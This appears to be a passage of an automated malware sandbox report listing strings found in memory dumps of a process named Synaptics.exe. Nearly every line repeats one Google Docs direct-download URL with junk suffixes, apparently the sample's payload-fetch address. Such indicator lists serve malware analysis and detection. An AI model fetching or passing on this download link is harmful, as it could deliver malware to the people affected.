Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.0000000000675000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl6
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl=
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlE
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlL
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadla
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadle
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleO
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleme(x
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleni
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlenid72_.#
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniy
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadleniyby
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlf
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadli2
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadllem
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlleme6
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlsx
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlt
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlunam
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm1
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadme-Op
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn.
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn=
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncel
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncel%
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncell
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadncelle
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnes
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetl
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetle2xJ
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnetleWx
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadng
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyo
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadniyor-y#
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnject7
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnosnig
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoa
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadog
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogV
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadogle
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadom0
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadon
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoo
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadooJ
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogl)
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogle
Source: Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoogleU
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadop
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloador...#
Source: Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorati
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadouF
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpany
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadphDKV_
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpr
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadpu
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp~
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2483669386.000000000E62B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.00000000053A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq-
Source: Synaptics.exe, 00000002.00000002.2521219462.000000001CDEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqjP
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqq
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqu
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqz
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2478638011.000000000E3CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2535106563.000000001CFC6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2482309150.000000000E5CF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr...w
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadre
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadreq.
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadro
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadror.
Source: Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrs
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadru)3
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2531561375.000000001CEF1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads?
Source: Synaptics.exe, 00000002.00000002.2480854835.000000000E50E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsMq3
Source: Synaptics.exe, 00000002.00000002.2452727101.00000000070DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsafe-
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000714C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse
Source: Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse$J
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2445947557.000000000548D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsers
Source: Synaptics.exe, 00000002.00000002.2484430654.000000000E687000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsn
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadst
Source: Synaptics.exe, 00000002.00000002.2452727101.000000000710C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsx
Source: Synaptics.exe, 00000002.00000002.2480016749.000000000E479000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2477056221.000000000E320000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2452727101.00000000071D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000002.00000002.2445947557.0000000005437000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt-
Source: Synaptics.exe, 00000002.00000003.1775678113.000000000064C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt.net
